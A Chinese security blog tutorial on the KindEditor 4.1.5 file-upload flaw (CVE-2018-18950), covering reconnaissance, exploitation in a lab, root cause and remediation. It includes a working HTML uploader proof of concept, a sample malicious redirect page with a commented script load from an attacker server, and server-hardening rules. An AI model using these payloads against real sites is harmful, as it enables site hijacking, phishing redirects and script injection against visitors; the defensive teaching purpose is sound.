1. 漏洞初探:KindEditor与那个被遗忘的上传接口

大家好,我是老张,在Web安全这块摸爬滚打十来年了,今天想和大家深入聊聊一个在当年挺“经典”,现在也时不时能碰到的老漏洞——KindEditor编辑器的文件上传漏洞(CVE-2018-18950)。你可能觉得,一个2018年的漏洞,现在还有啥好说的?嘿,还真别说,我在最近几次的渗透测试和应急响应中,依然在不少老系统、甚至是某些疏于维护的“后台管理系统”里撞见过它。这说明什么?说明历史遗留问题,往往是最容易被忽视的安全死角。

KindEditor是什么?简单说,它是一个开源的、轻量级的在线HTML编辑器,很多网站为了让用户能方便地排版文章、上传个图片,就会把它集成进来。它的功能确实挺方便,但问题就出在“方便”过了头。在4.1.5及之前的版本里,它为了支持所谓的“异步文件上传”,留了一个后门,或者说,一个设计上就存在严重缺陷的接口。这个接口,就是我们今天要重点剖析的 /php/upload_json.php(当然,还有对应的ASP、.NET、JSP版本)。

这个漏洞的核心,用大白话讲就是:编辑器提供了一个可以上传文件的功能,但这个功能对上传上来的文件“来者不拒”,几乎不做任何像样的检查。攻击者可以轻易地把一个.txt文本文件,或者更危险的.html网页文件,直接传到你的服务器上。你可能会想,传个文本文件能有多大危害?这恰恰是攻击者狡猾的地方,也是这个漏洞最值得玩味的一点。他们上传的.txt或.html文件,内容往往是一段精心构造的JavaScript代码,用来进行钓鱼跳转。比如,你网站的正常用户,访问了某个被上传了恶意文件的页面,他的浏览器就会在不知不觉中被引导到一个赌博网站或者色情网站。这对网站主来说,不仅仅是流量被劫持,更可能导致信誉受损,甚至被搜索引擎标记为“不安全站点”。

所以,别小看这个“老漏洞”。它利用门槛低,影响直接,而且由于KindEditor曾经应用非常广泛,遗留下来的“雷”着实不少。接下来,我就带大家从攻击者的视角,亲手复现一遍这个漏洞的利用过程,只有亲眼看到攻击是怎么发生的,你才能真正理解防御该从哪里筑墙。

2. 实战复现:一步步还原攻击者的操作路径

光说不练假把式,咱们直接上手,在一个测试环境里把这个漏洞的利用过程走一遍。我假设你已经搭建好了一个存在漏洞的KindEditor 4.1.5环境(可以用一些旧的CMS或者自己搭建测试页面),靶机IP是 192.168.1.100。

2.1 信息收集:确认漏洞存在

攻击的第一步永远是信息收集。我们得先确定目标网站用了KindEditor,并且版本在受影响范围内。

  1. 访问编辑器页面:首先,找到网站中使用KindEditor的地方,通常是文章发布页、评论框等。打开浏览器开发者工具(F12),切换到“网络”(Network)选项卡,然后刷新页面。你会看到浏览器加载了一系列资源,从中寻找一个名为 kindeditor.js 的文件。

  2. 检查版本:直接访问这个JS文件的完整URL,比如 http://192.168.1.100/kindeditor/kindeditor.js。打开文件,通常在文件开头几行就能看到版本信息,例如 @version 4.1.5。如果版本号小于等于4.1.5,那么恭喜(或者说遗憾),目标很可能存在漏洞。

  3. 探测上传接口:这是关键一步。我们需要找到那个不安全的 upload_json 文件。由于服务器语言未知,我们需要尝试常见的几种路径:

    • http://192.168.1.100/kindeditor/php/upload_json.php?dir=file
    • http://192.168.1.100/kindeditor/asp/upload_json.asp?dir=file
    • http://192.168.1.100/kindeditor/asp.net/upload_json.ashx?dir=file
    • http://192.168.1.100/kindeditor/jsp/upload_json.jsp?dir=file

    在浏览器中逐个访问这些地址。如果返回一个JSON格式的数据,比如 {"error": 1, "message": "未指定上传文件。"} 或者类似的提示,这并不代表接口安全,反而恰恰证明这个接口是存在的、并且正在等待接收文件!如果返回404,则说明该语言对应的接口不存在。通过这种方式,我们就能判断出网站后端使用的是PHP、ASP还是其他语言。假设我们探测到 /php/upload_json.php 有响应,那么目标就是PHP环境。

2.2 构造攻击:制作一个“自动化”上传工具

原始的漏洞利用,可能需要你手动去网页上点选文件上传。但攻击者为了批量、自动化,往往会构造一个本地的HTML攻击页面。这个页面会“模拟”编辑器上传的行为,直接向那个有漏洞的接口发送文件。

下面是我根据漏洞原理写的一个简化版的攻击HTML(POC),你可以把它保存为一个 .html 文件,然后在浏览器中打开它来使用:

<!DOCTYPE html>
<html>
<head>
    <title>KindEditor漏洞利用测试页</title>
    <!-- 关键:引入目标网站的 kindeditor.js,以使用其内部函数 -->
    <script src="http://192.168.1.100/kindeditor/kindeditor.js"></script>
    <script>
        KindEditor.ready(function(K) {
            // 创建一个上传按钮对象,指向有漏洞的接口
            var uploadbutton = K.uploadbutton({
                button: K('#uploadButton')[0], // 绑定到页面上的按钮
                fieldName: 'imgFile', // 上传表单的文件字段名
                url: 'http://192.168.1.100/kindeditor/php/upload_json.php?dir=file', // 漏洞接口URL
                afterUpload: function(data) {
                    // 上传完成后的回调函数
                    if (data.error === 0) {
                        // 上传成功,将返回的文件路径显示在输入框里
                        var url = K.formatUrl(data.url, 'absolute');
                        K('#url').val(url);
                        alert('文件上传成功!访问路径:' + url);
                    } else {
                        alert('上传失败:' + data.message);
                    }
                },
            });
            // 监听文件选择,一旦选择了文件就自动提交
            uploadbutton.fileBox.change(function(e) {
                uploadbutton.submit();
            });
        });
    </script>
</head>
<body>
    <h3>KindEditor文件上传漏洞测试</h3>
    <p>选择你要上传的文件(支持.txt, .html等):</p>
    <div class="upload">
        <input type="text" id="url" style="width:500px;" readonly="readonly" placeholder="上传成功后文件地址会显示在这里"/>
        <br/><br/>
        <input type="button" id="uploadButton" value="选择并自动上传文件" />
    </div>
    <p><small>注意:此页面仅用于安全测试与学习,请勿用于非法用途。</small></p>
</body>
</html>

这个页面的精妙之处在于,它直接调用了目标网站自身的 kindeditor.js 中的 K.uploadbutton 方法。这意味着它完全遵循了编辑器本身的逻辑,绕过了任何可能的前端验证,直接将文件发送到后端的 upload_json.php。

2.3 发起攻击:上传我们的“ payload”

现在,打开你刚保存的HTML文件。点击“选择并自动上传文件”按钮,然后选择一个你准备好的文件。为了演示危害,我们可以准备两个文件:

  1. 一个test.txt文件,内容可以是 This is a test.。用它来测试基础的上传功能是否畅通。
  2. 一个malicious.html文件,这是“恶意文件”的示例,内容可以是:
    <html>
    <head><title>Loading...</title></head>
    <body>
    <script>
        // 一个简单的跳转示例,实际攻击中可能更隐蔽
        window.location.href = "http://某个恶意网站.com";
        // 或者静默加载外部脚本,进行键盘记录、挖矿等
        // var s = document.createElement('script'); s.src='http://攻击者服务器/evil.js'; document.body.appendChild(s);
    </script>
    <p>页面加载中,请稍候...</p>
    </body>
    </html>
    

当你选择 test.txt 并点击上传后,页面可能会弹窗提示“文件上传成功!”,并且下面的输入框会显示一个类似 http://192.168.1.100/kindeditor/attached/file/20241103/xxxxxx.txt 的地址。访问这个地址,如果能看到文件内容,说明文件上传成功,并且可以被公开访问!

接着,尝试上传 malicious.html。如果同样成功,并且返回了一个 .html 的访问链接,那么漏洞就被完整利用了。任何用户访问这个HTML链接,都会执行其中的JavaScript代码,从而被跳转到恶意网站。

在实际攻击中,攻击者上传的HTML内容会更加隐蔽和具有破坏性,可能包含钓鱼表单、跨站脚本(XSS)载荷、甚至结合其他漏洞获取更高级权限。我见过最典型的情况,就是网站的子目录下被塞满了这种跳转到赌博广告的HTML页面,俗称“被挂黑链”。

3. 漏洞原理深度剖析:问题到底出在哪?

复现完了,感觉很轻松是不是?攻击者几乎没遇到任何阻碍。那么,从代码层面看,KindEditor到底哪里“失守”了呢?我们来深入扒一扒。

问题的根源集中在 upload_json.* 这一系列文件上。我们以PHP版本的 upload_json.php 为例(其他语言版本逻辑类似)。它的核心问题可以归结为两点:

第一,文件类型检查形同虚设。 虽然代码里可能会有一些检查,比如检查文件后缀是否是图片格式(jpg, gif, png),但在 dir=file 这个模式下,检查逻辑被极大地弱化甚至绕过了。dir 参数控制上传目录类型,当它被设置为 file 时,本意可能是允许上传一些文档文件,但程序却没有对这类“文件”进行严格的内容安全审查,默认允许了 .txt 和 .html 等后缀。

第二,也是最致命的,对文件内容零过滤。 即使允许上传 .txt 或 .html 文件,一个安全的做法也应该对文件内容进行扫描,防止其中包含可执行的脚本代码。但 upload_json.php 在处理上传文件时,仅仅是将用户上传的文件从临时目录移动到了目标文件夹,并按照日期重命名,完全没有对文件内容进行任何检测。这就好比小区的快递柜,只检查包裹大小,不检查里面装的是不是危险品,直接就给存进去了。

我们可以看一段极度简化的漏洞代码逻辑(非原版,但反映了核心问题):

// upload_json.php 简化漏洞逻辑示例
$upload_dir = '/attached/file/'; // 上传目录,由 dir=file 决定
$file_ext = strtolower(pathinfo($_FILES['imgFile']['name'], PATHINFO_EXTENSION));
// 假设有一个允许的后缀列表
$allow_exts = array('txt', 'html', 'jpg', 'gif'); // 注意,这里包含了txt和html!

if (in_array($file_ext, $allow_exts)) {
    // 生成一个日期子目录,如 /20241103/
    $save_path = $upload_dir . date('Ymd') . '/';
    // 生成一个随机文件名,保留原后缀
    $save_name = md5(uniqid()) . '.' . $file_ext;
    $file_path = $save_path . $save_name;

    // 关键步骤:直接将临时文件移动过去,没有任何内容检查!
    move_uploaded_file($_FILES['imgFile']['tmp_name'], $file_path);

    // 返回成功的JSON,包含可公开访问的URL
    echo json_encode(array('error' => 0, 'url' => $file_path));
} else {
    echo json_encode(array('error' => 1, 'message' => '文件类型不允许'));
}

看到没?整个流程中,唯一的“检查”就是后缀名是否在 $allow_exts 数组里。而 .txt 和 .html 正在这个允许列表里。至于文件里面写的是“Hello World”还是一段 <script>alert('XSS')</script>,程序根本不关心。

这种“基于后缀名”的黑名单或白名单机制,如果设计不周,本身就非常脆弱。攻击者甚至可以通过一些技巧(如上传 .php.jpg 双后缀,并利用服务器解析漏洞),在特定服务器配置下执行更危险的代码。不过对于CVE-2018-18950,最常见的利用方式就是上传包含恶意脚本的HTML文件,进行前端攻击。

4. 全面防御策略:从紧急止血到长治久安

知道了漏洞原理和利用手法,我们该如何防御?我给大家提供一套从紧急处置到彻底修复,再到长期加固的“组合拳”。

4.1 紧急处置方案(立竿见影)

如果你的线上系统正在使用受影响版本的KindEditor,并且发现了被攻击的迹象,你需要立刻采取以下措施:

  1. 直接删除漏洞文件:这是最直接、最有效的方法。找到你网站目录下的KindEditor组件,定位到 php/、asp/、asp.net/、jsp/ 这些子目录,将其中的 upload_json.* 和 file_manager_json.* 文件立即删除或重命名。这两个文件是漏洞的源头,删除它们,攻击入口就消失了。

    # 示例:在Linux服务器上定位并删除(请务必先备份!)
    find /var/www/html -name "upload_json.*" -type f -exec rm -f {} \;
    find /var/www/html -name "file_manager_json.*" -type f -exec rm -f {} \;
    

    注意:删除前请确认这些接口是否被你的业务系统所依赖。对于KindEditor的标准用法,删除它们通常不会影响编辑器基本的图片上传功能(因为图片上传走的是另一个接口),但可能会影响其“插入文件”的功能。在紧急情况下,安全优先。

  2. 清理Web目录中的可疑文件:立即检查网站上传目录(通常是 /attached/、/upload/、/kindeditor/attached/file/ 这类路径),按时间排序,查找近期上传的、非正常的 .txt 和 .html 文件。仔细审查其内容,一旦发现可疑的JavaScript跳转代码或加密代码,立即删除。

  3. 配置Web服务器规则:在Nginx或Apache层面,临时禁止对上传目录中特定后缀文件的直接访问。

    • Nginx示例:在站点配置的 server 块中添加:
      location ~* ^/uploads/.*\.(html|htm|txt)$ {
          deny all;
          return 403;
      }
      
    • Apache示例:在 .htaccess 文件中添加:
      <FilesMatch "\.(html|htm|txt)$">
          Order Allow,Deny
          Deny from all
      </FilesMatch>
      

    这样可以防止已经上传的恶意文件被用户访问触发,为后续清理争取时间。

4.2 根本修复方案(升级与修改)

紧急措施只是权宜之计,我们需要从根本上解决问题。

  1. 升级KindEditor版本:这是官方推荐且最彻底的解决方案。KindEditor在后续版本中修复了此漏洞。请升级到4.1.5之后的最新版本。升级前,请务必阅读官方更新日志,并做好原有数据的备份和兼容性测试。

  2. 如果你必须使用旧版本:有时因为系统兼容性问题无法升级,那么就必须手动修补漏洞文件。修补的核心思想是:强化文件类型检查,并对文件内容进行安全过滤。

    • 强化白名单机制:修改 upload_json.php 中的 $allow_exts 数组,坚决移除 txt 和 html。只允许业务真正需要的、安全的文件类型,例如图片(jpg, png, gif, bmp)。
      // 修复后的安全白名单示例
      $allow_exts = array('jpg', 'jpeg', 'gif', 'png', 'bmp');
      // 如果业务确实需要上传PDF、Word等文档,应严格限制,并确保服务器不会将其作为脚本执行
      // $allow_exts = array('jpg', 'jpeg', 'gif', 'png', 'bmp', 'pdf', 'doc', 'docx');
      
    • 增加文件内容检查:对于允许上传的文件,特别是图片,应使用 getimagesize() 函数进行二次验证,确保上传的文件是真实的图片格式,而不是一个伪装成图片的脚本文件。
      if (in_array($file_ext, array('jpg','jpeg','gif','png','bmp'))) {
          $image_info = @getimagesize($_FILES['imgFile']['tmp_name']);
          if ($image_info === false) {
              // 不是有效的图片文件,拒绝上传
              echo json_encode(array('error' => 1, 'message' => '上传的不是有效图片文件'));
              exit;
          }
          // 还可以进一步检查图片的MIME类型是否与后缀匹配
      }
      
    • 重命名与目录隔离:上传的文件不要使用原始文件名,应采用随机生成的文件名(如UUID),并避免使用用户可控的参数作为文件路径的一部分。同时,将上传目录设置为Web根目录之外,或者至少确保上传目录没有执行脚本的权限。
      // 在PHP配置文件或上传脚本中禁用执行权限
      // 或者通过.htaccess (Apache) 或 Nginx规则禁止上传目录的PHP执行
      

4.3 长期安全加固(最佳实践)

防御一个具体漏洞是“点”,建立一套安全体系才是“面”。对于文件上传功能,无论使用什么编辑器,都应该遵循以下最佳实践:

  1. 前端验证仅作为辅助:永远不要依赖JavaScript进行文件类型或大小的验证。攻击者可以轻易绕过前端,直接构造请求到后端接口。所有安全检查必须在服务器端进行。
  2. 后端验证“三重保险”:
    • 后缀名白名单:只允许明确需要的、安全的扩展名。
    • MIME类型检查:检查 $_FILES['file']['type'],但要注意这个值可以被伪造,需结合其他检查。
    • 文件内容头检查:读取文件的前几个字节(魔数),判断其真实的文件类型。例如,PNG文件头总是 ‰PNG,JPEG文件头是 ÿØÿá。
  3. 存储与访问安全:
    • 重命名文件:使用随机字符串(如 md5(uniqid().mt_rand()))重命名上传的文件,防止路径遍历和覆盖攻击。
    • 设置正确权限:上传目录的权限应设置为 755(所有者可读写执行,其他用户只读执行),上传的文件权限设置为 644(所有者可读写,其他用户只读)。绝不允许上传目录有执行权限。
    • 使用独立域名或路径:将用户上传的文件托管在一个独立的、静态文件的域名或路径下(如 static.yourdomain.com 或 /uploads/),并确保该处不解析任何动态脚本(PHP、ASP等)。
  4. 定期安全扫描与更新:使用WAF(Web应用防火墙)规则拦截可疑的上传请求。定期对网站目录进行安全扫描,查找Webshell和异常文件。保持所有组件(包括编辑器、框架、库)更新到最新版本。

文件上传漏洞就像一扇没关严的门,CVE-2018-18950只是其中一种常见的撬锁方式。作为开发者和运维,我们的任务就是把这扇门换成防盗门,加上多重锁,并安装好监控。希望这次详细的实战分析和防御策略,能帮你彻底关好这扇“门”。安全之路,始于对每一个细节的敬畏和扎实的实践。

更多推荐